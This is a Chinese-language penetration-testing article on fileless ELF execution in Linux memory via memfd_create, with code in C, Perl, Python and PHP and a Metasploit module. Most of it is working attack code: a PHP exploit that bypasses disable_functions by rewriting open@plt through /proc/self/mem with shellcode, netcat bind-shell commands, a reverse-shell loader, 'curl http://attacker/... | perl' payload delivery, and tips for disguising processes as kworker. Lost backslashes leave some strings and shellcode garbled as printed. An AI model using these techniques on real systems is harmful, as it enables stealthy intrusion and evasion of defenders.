一、前言
无文件(fileless)恶意软件攻击现在已经越来越流行,这一点并不奇怪,因为这种技术通常不会留下蛛丝马迹。本文的重点不是介绍如何在Windows RAM中执行程序,我们的目标是GNU/Linux。Linux是服务器行业的领头羊,在上百万嵌入式设备和大多数web服务上都能看到Linux的身影。在本文中,我们将简单探讨如何在Linux系统内存中执行程序,也讨论了如何应付具有挑战性的环境。
无文件执行比较隐蔽,比较难检测及跟踪。由于该过程中不涉及新文件写入磁盘,也没有修改已有文件,因此基于文件系统一致性的检测工具通常不会警告管理员。反病毒软件(*nix用户通常会忽略这种产品)在程序启动后通常不会监控程序内存。其外,当系统安装完毕后,许多GNU/Linux发行版会提供各种调试工具、解释程序、编译器和程序库,这些都可以帮助我们实现无文件技术隐蔽执行。然而,无文件执行也有一些缺点,比如无法在系统意外断电或者重启时正常驻留,但程序正常情况下可以保持运行,直到目标设备断电下线。
无文件技术可以用来传播恶意软件,但功能并不局限于此。如果我们对运行速度要求较高,可以将程序拷贝到内存中运行。许多Linux发行版可以完全在内存中运行,因此在搭载硬盘驱动器的情况下,我们还是有可能实现不落盘运行。对于信息安全而言,无文件技术在后渗透(post-exploitation)阶段和情报收集阶段非常有用,可以尽可能规避安全审计。
根据barkly.com的介绍,在2018年35%的病毒攻击中涉及到无文件攻击技术。在Windows系统上,黑客们通常使用内置的PowerShell来加载和运行代码。这些技术之所以非常流行,原因之一是这些技术可以在Powershell Empire、Powersploit以及Metasploit中使用,非常方便。
二、C语言
在大多数情况下,安装在主机设备上的Linux发行版通常会安装一些内置软件,如Python、Perl解释器以及C编译器,这些都是“开箱即用”的工具。此外,web托管平台上通常也可以使用PHP。因此我们可以使用这些语言来执行代码。在Linux系统上,我们可以使用一些非常知名方法在内存中执行代码。
最简单的一种方法就是利用挂载到文件系统中的共享内存分区。
如果我们将可执行文件挂载到/dev/shm
或者/run/shm
中,有可能实现内存执行,因为这些目录实际上是挂载到文件系统上已分配的内存空间。但如果我们使用ls
命令,就可以像查看其他目录一样查看这些目录。此外,已挂载的这些目录设置了noexec
标志,因此只有超级用户才能执行这些目录中的程序。这意味着我们需要找到更为隐蔽的其他方法。
我们可以考虑使用memfd_create(2)这个系统调用。该系统调用与malloc(3)比较类似,但并不会返回指向已分配内存的一个指针,而是返回指向某个匿名文件的文件描述符,该匿名文件以链接(link)形式存放在/proc/PID/fd/
文件系统中,可以使用execve(2)来运行。memfd_create帮助文档的解释如下:
name
参数代表文件名,在/proc/self/fd/
目录中我们可以看到该文件名为符号链接的目的文件。显示在/proc/self/fd/
目录中的文件名始终带有memfd:
前缀,并且只用于调试目的。名称并不会影响文件描述符的行为,因此多个文件可以拥有相同的名称,不会有任何影响。
在C语言中使用memfd_create()
的示例代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
int
main()
{
int fd;
pid_t child;
char buf[BUFSIZ] = "";
ssize_t br;
fd = syscall(SYS_memfd_create, "foofile", 0);
if (fd == -1)
{
perror("memfd_create");
exit(EXIT_FAILURE);
}
child = fork();
if (child == 0)
{
dup2(fd, 1);
close(fd);
execlp("/bin/date", "/bin/date", NULL);
perror("execlp date");
exit(EXIT_FAILURE);
}
else if (child == -1)
{
perror("fork");
exit(EXIT_FAILURE);
}
waitpid(child, NULL, 0);
lseek(fd, 0, SEEK_SET);
br = read(fd, buf, BUFSIZ);
if (br == -1)
{
perror("read");
exit(EXIT_FAILURE);
}
buf[br] = 0;
printf("child said: '%s'n", buf);
exit(EXIT_SUCCESS);
}
如上代码使用memfd
创建一个子进程,将其输出重定向至一个临时文件,等待子进程结束,从临时文件中读取子进程输出数据。通常情况下,*nix环境会使用|
管道将一个程序的输出重定向至另一个程序的输入。
在解释型语言(如perl、python等)中我们也可以使用syscall()
。接下来我们看一下可能碰到的一种场景,演示如何使用memfd_create()
将可执行文件载入内存中。
三、Perl
假设现在我们已经找到了命令注入点,我们需要找到在目标上执行系统命令的方法。在perl中我们可以使用syscall()函数,此外我们还需要将ELF文件以匿名文件内容的形式直接写入内存。为了完成这个任务,我们可以将其写在脚本源码中,使用命令注入来注入脚本,当然我们也可以选择网络下载方式。然而,这里我们要清楚目标Linux内核版本,因为只有在3.17或更高版本内核中才能使用memfd_create()
。
接下来进一步分析memfd_create()
以及execve()
。
对于匿名文件我们准备使用MFD_CLOEXEC
常量,利用该常量可以在新打开的文件描述符上设置close-on-exec
(FD_CLOEXEC
)标志。这意味着当我们execve()
ELF文件时,我们的文件描述符就会被自动关闭。
由于我们使用的是Perl的syscall()
,因此需要调用号(call number)以及数字常量(numeric constant)。我们可以在/usr/include
或者网上找到这些信息。系统调用号位于#define
中,前缀为__NR_
。在这个场景中,64位Linux系统上memfd_create()
的系统调用号为319
,数字常量为FD_CLOSEXEC 0x0001U
(即linux/memfd.h
中的1
)。
找到所需的编号后,我们可以在Perl中实现与C语言等效的memfd_create(name, MFD_CLOEXEC)
语句。我们还需要为文件选择一个名称,前面提到过,我们会在/proc/self/fd/
目录中看到带有/memfd:
前缀的文件名。因此我们最好的方法就是选择接近[:kworker]
或者看上去不大可疑的另一个名称。
比如我们可以传入空的字符串:
my $name = "";
my $fd = syscall(319, $name, 1);
if (-1 == $fd) {
die "memfd_create: $!";
}
现在$fd
为匿名文件的文件描述符,我们需要将ELF写入该文件。Perl中有个open()函数,通常用来打开文件,我们也可以使用该函数,在参数中指定>&=FD
(而非文件名),将已打开的文件描述符转化为文件句柄。此外这里还需要设置autoflush[]
。
open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);
现在我们已经搞定指向匿名文件的一个文件描述符。接下来我们需要将可执行文件提供给Perl,可以通过如下方式:
$ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary
以上命令会输出许多行,如下所示:
print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/;
print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/;
执行这些语句就可以将我们的可执行文件载入内存中,等待执行。
fork()
我们还可以使用fork(),虽然这不是必选项,但如果我们不想在运行ELF文件后退出,fork()
就可以派上用场。通常情况下,在perl中生成子进程的方式如下所示:
while ($keep_going) {
my $pid = fork();
if (-1 == $pid) { # Error
die "fork: $!";
}
if (0 == $pid) {
exit 0;
}
}
我们还可以调用fork()
两次,再配合上setsid(2),这样就能生成独立的子进程,结束父进程运行:
# Start a child process
my $pid = fork();
if (-1 == $pid) { # Error
die "fork1: $!";
}
if (0 != $pid) { # the parent process terminates
exit 0;
}
# the child process becomes the parent process
if (-1 == syscall(112)) {
die "setsid: $!";
}
# a child process (grandchild) starts
$pid = fork();
if (-1 == $pid) { # Error
die "fork2: $!";
}
if (0 != $pid) { # the child process terminates
exit 0;
}
# “grandchild” code
现在我们就可以多次运行ELF进程。
Execve()
Execve()这个系统调用可以用来执行程序。在perl中我们可以使用Exec(),这个函数效果类似,语法也更加简单。我们需要传递给exec()
两个参数:待执行的文件(内存中的ELF文件)以及进程名。通常情况下,文件名和进程名相同,但由于我们可以在进程列表中看到/proc/PID/fd/3
信息,因此我们需要重命名进程。调用exec()
的语法如下:
exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!";
如上命令可以运行Netcat,但这个东西太像后门了,我们想要运行更为隐蔽的目标。
新创建的进程不会以/proc/PID/fd
符号链接形式打开匿名文件,但我们还是能通过/proc/PID/exe
符号链接看到我们的ELF文件,该符号链接指向的是进程正在执行的文件。
现在我们已经实现在Linux内存中执行ELF文件,不会在磁盘或者文件系统中留下任何痕迹。为了尽快且方便地加载可执行文件,我们可以将带有ELF文件的脚本通过管道交给Perl解释器执行:
$ curl http://attacker/evil_elf.pl | perl
四、Python
与Perl类似,在Python中我们也可以执行如下操作:
- 使用
memfd_create()
系统调用来创建匿名文件 - 使用可执行ELF文件填充该文件
- 执行该文件,也可以使用
fork()
多次执行该文件
import ctypes
import os
# read the executable file. It is a reverse shell in our case
binary = open('/tmp/rev-shell','rb').read()
fd = ctypes.CDLL(None).syscall(319,"",1) # call memfd_create and create an anonymous file
final_fd = open('/proc/self/fd/'+str(fd),'wb') # write our executable file.
final_fd.write(binary)
final_fd.close()
fork1 = os.fork() #create a child
if 0 != fork1: os._exit(0)
ctypes.CDLL(None).syscall(112) # call setsid() to create a parent.
fork2 = os.fork() #create a child from the parent.
if 0 != fork2: os._exit(0)
os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') # run our payload.
为了在python中调用syscall
,我们需要标准的ctypes以及os库,以便写入并执行文件、管理进程。所有操作步骤都与perl类似。
在如上代码中,我们读取的是位于/tmp/
目录中的一个文件,我们也可以选择从web服务器远程加载该文件。
五、PHP
前面我们已经分析过perl以及python的实现代码。许多操作系统默认情况下会安装这些语言的解释器,下面让我们讨论最为有趣的一种场景。如果由于各种因素影响,我们无法使用perl以及python解释器,那么可以考虑使用PHP。这种语言在web开发者中非常流行,如果我们可以在web应用执行代码,那么很有可能就会碰到PHP解释器。
遗憾的是,php并没有处理syscall
的内置机制。
Beched之前在rdot论坛上发表过一篇文章,文中使用procfs(/proc/self/mem
)在当前进程内存空间中将open
重写为system
,从而绕过disable_functions
的限制。
我们使用了这种技巧来重写代码中涉及到系统调用的一些函数。
我们以shellcode的形式将syscall
传递给php解释器,使用一系列命令来传递系统调用。
接下来我们一步一步实现PHP代码,这个过程中涉及到一些小技巧。
首先,我们设定所需的一些参数:
$elf = file_get_contents("/bin/nc.traditional"); // elf_payload
$args = "test -lvvp 31338 -e /bin/bash"; // argv0 argv1 argv2 ...
然后指定偏移地址:内存中的高位(higher)及低位(lower)值,以便后面注入shellcode:
function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
然后构造用来“unpack”二进制文件的一个函数,先执行反转操作,然后依次执行bin2hex()、hexdex(),将二进制数值转化为十进制数值,为后面注入内存做准备:
function unp($value) {
return hexdec(bin2hex(strrev($value)));
}
然后解析ELF文件,获取偏移值:
function parseelf($bin_ver, $rela = false) {
$bin = file_get_contents($bin_ver);
$e_shoff = unp(substr($bin, 0x28, 8));
$e_shentsize = unp(substr($bin, 0x3a, 2));
$e_shnum = unp(substr($bin, 0x3c, 2));
$e_shstrndx = unp(substr($bin, 0x3e, 2));
for($i = 0; $i < $e_shnum; $i += 1) {
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
if($sh_type == 11) { // SHT_DYNSYM
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
}
elseif($rela && $sh_type == 4) { // SHT_RELA
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_ + 24, 8));
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
}
if($rela) {
for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
$r_offset = unp(substr($bin, $i, 8));
$r_info = unp(substr($bin, $i + 8, 8)) >> 32;
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "") {
$name .= $bin[$j];
}
if($name == 'open') {
return $r_offset;
}
}
}
else {
for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
$name_off = unp(substr($bin, $i, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "") {
$name .= $bin[$j];
}
if($name == '__libc_system') {
$system_offset = unp(substr($bin, $i + 8, 8));
}
if($name == '__open') {
$open_offset = unp(substr($bin, $i + 8, 8));
}
}
return array($system_offset, $open_offset);
}
此外我们还需要定义已安装的PHP版本信息:
if (!defined('PHP_VERSION_ID')) {
$version = explode('.', PHP_VERSION);
define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2]));
}
if (PHP_VERSION_ID < 50207) {
define('PHP_MAJOR_VERSION', $version[0]);
define('PHP_MINOR_VERSION', $version[1]);
define('PHP_RELEASE_VERSION', $version[2]);
}
echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "n";
检查操作系统类型及Linux内核版本:
if(strpos(php_uname('a'), 'x86_64') === false) {
echo "[-] This exploit is for x64 Linux. Exitingn";
exit;
}
if(substr(php_uname('r'), 0, 4) < 2.98) {
echo "[-] Too old kernel (< 2.98). Might not workn";
}
我们重写了open@plt
的地址,以便绕过disable_functions
限制。我们适当修改了beched的代码,现在可以将shellcode注入内存中。
首先我们需要在二进制文件中找到PHP解释器的地址,为了完成这个任务,我们可以运行/proc/self/exe
,然后使用parseelf()
解析可执行文件:
echo "[INFO] Trying to get open@plt offset in PHP binaryn";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
echo "[-] Failed. Exitingn";
exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "n";
$maps = file_get_contents('/proc/self/maps');
preg_match('#s+(/.+libc-.+)#', $maps, $r);
echo "[INFO] Libc location: $r[1]n";
preg_match('#s+(.+[stack].*)#', $maps, $m);
$stack = hexdec(explode('-', $m[1])[0]);
echo "[INFO] Stack location: ".dechex($stack)."n";
$pie_base = hexdec(explode('-', $maps)[0]);
echo "[INFO] PIE base: ".dechex($pie_base)."n";
echo "[INFO] Trying to get open and system symbols from Libcn";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
echo "[-] Failed. Exitingn";
exit;
}
找到open()
函数的地址:
echo "[+] Got them. Seeking for address in memoryn";
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php);
$open_addr = unp(fread($mem, 8));
echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "n";
echo "[INFO] Rewriting open@plt addressn";
$mem = fopen('/proc/self/mem', 'wb');
现在我们可以开始加载可执行文件。首先我们创建一个匿名文件:
$shellcode_loc = $pie_base + 0x100;
$shellcode="x48x31xD2x52x54x5Fx6Ax01x5Ex68x3Fx01x00x00x58x0Fx05x5AxC3";
fseek($mem, $shellcode_loc);
fwrite($mem, $shellcode);
fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php);
fwrite($mem, packlli($shellcode_loc));
echo "[+] Address written. Executing cmdn";
$fp = fopen('fd', 'w');
将payload写入匿名文件:
fwrite($fp, $elf);
查找文件描述符编号:
$found = false;
$fds = scandir("/proc/self/fd");
foreach($fds as $fd) {
$path = "/proc/self/fd/$fd";
if(!is_link($path)) continue;
if(strstr(readlink($path), "memfd")) {
$found = true;
break;
}
}
if(!$found) {
echo '[-] memfd not found';
exit;
}
将可执行文件路径写入栈:
fseek($mem, $stack);
fwrite($mem, "{$path}x00");
$filename_ptr = $stack;
$stack += strlen($path) + 1;
fseek($mem, $stack);
处理待传给可执行程序的参数:
fwrite($mem, str_replace(" ", "x00", $args) . "x00");
$str_ptr = $stack;
$argv_ptr = $arg_ptr = $stack + strlen($args) + 1;
foreach(explode(' ', $args) as $arg) {
fseek($mem, $arg_ptr);
fwrite($mem, packlli($str_ptr));
$arg_ptr += 8;
$str_ptr += strlen($arg) + 1;
}
fseek($mem, $arg_ptr);
fwrite($mem, packlli(0x0));
echo "[INFO] Argv: " . $args . "n";
然后调用fork()
执行payload:
echo "[+] Starting ELFn";
$shellcode = "x6ax39x58x0fx05x85xc0x75x28x6ax70x58x0fx05x6ax39x58x0fx05x85xc0x75x1ax48xbf"
. packlli($filename_ptr)
. "x48xbe"
. packlli($argv_ptr)
. "x48x31xd2x6ax3bx58x0fx05xc3x6ax00x5fx6ax3cx58x0fx05";
fseek($mem, $shellcode_loc);
fwrite($mem, $shellcode);
fopen('done', 'r');
exit();
六、Shellcode
Shellcode实际上是可以注入内存运行的一组字节,缓冲区溢出攻击和其他攻击场景中通常会涉及这方面内容。在我们的应用场景中,shellcode并不会返回远程服务器的命令提示符(shell),但可以帮助我们执行所需的命令。
为了获取所需的字节,我们可以开发C代码然后将其转成汇编代码,或者直接使用汇编语言来开发。
我们先来试着理解隐藏在字节数组背后的内容。
push 57
pop rax
syscall
test eax, eax
jnz quit
首先我们需要运行fork
,64位系统上对应的调用号为57
,具体调用表可参考此处链接。
然后我们需要调用setsid
(调用号为112
)将子进程转换成父进程。
push 112
pop rax
syscall
然后再次调用fork
:
push 57
pop rax
syscall
test eax, eax
jnz quit
然后再轻车熟路调用execve()
:
; execve
mov rdi, 0xcafebabecafebabe ; filename
mov rsi, 0xdeadbeefdeadbeef ; argv
xor rdx, rdx ; envp
push 0x3b
pop rax
syscall
push -1
pop rax
ret
最后调用exit()
(调用号为60
)结束进程。
; exit
quit:
push 0
pop rdi
push 60
pop rax
syscall
通过这种方式我们替换了open()
函数代码。我们的可执行文件会被注入到内存中,使用PHP解释器运行。我们可以使用shellcode来表示系统调用。
七、Metasploit
我们开发了一个MSF模块,方便大家使用这些技术。
我们可以将该模块文件拷贝至$HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb
,然后在Metasploit控制台执行reload_all
命令,再输入use post/linux/manage/download_exec_elf_in_memory
命令来使用该模块(如果拷贝至其他目录,需要使用相应的路径)。在使用该模块之前,我们需要指定一些选项。输入show options
显示可设置的选项清单:
-
ARGS
:传递给可执行文件的参数 -
FILE
:可执行文件路径,这里我们使用的是Netcat -
NAME
:进程名。可以使用任意名称。比如,如果想隐蔽一点,可以使用kworker:1
,如果想有趣一点,便于演示,可以使用KittyCat
-
SESSION
:meterpreter会话。这个模块主要服务于后渗透(post-exploitation)场景 - 然后我们需要设定托管payload的http服务器地址及端口,通过
SRVHOST
及SRVPORT
来设定。 -
VECTOR
:使用该方法在内存中执行程序,这不是必选参数,如果未设定,则脚本自己会寻找所需的解释器。目前我们支持PHP、Python以及Perl。
接下来运行exlpoit
或者run
命令,大家可以参考演示视频。
整个工作原理如下:我们指定所需的会话(可以是meterpreter或者普通的反弹shell),然后设定ELF文件的本地路径、参数以及显示在进程列表中名称。启动本地web服务器来托管payload,开始搜索用于下载的实用工具(目前支持curl和wget),找到可使用的工具后,如果我们没有在VECTOR
中指定所需的解释器,则会开始搜索所有可用的解释器。如果找到可用的解释器后,就从我们的web服务器上下载payload,通过管道传输至对应的解释器,效果类似于$ curl http://hacker/payload.pl | perl
命令。
八、总结
在Linux系统中实现无文件执行ELF是渗透测试中一种非常有用的技术。这种方法较为隐蔽,可以绕过各种类型的反病毒保护机制、系统完整性保护机制以及基于硬盘监控的防护系统。通过这种方法,我们能够以最小的动静访问目标。
在本文中我们用到了Linux发行版、内置设备固件、路由器以及移动设备中常见的解释型语言,有些小伙伴们已经研究过这方面内容,在此特别感谢他们对我们的帮助。
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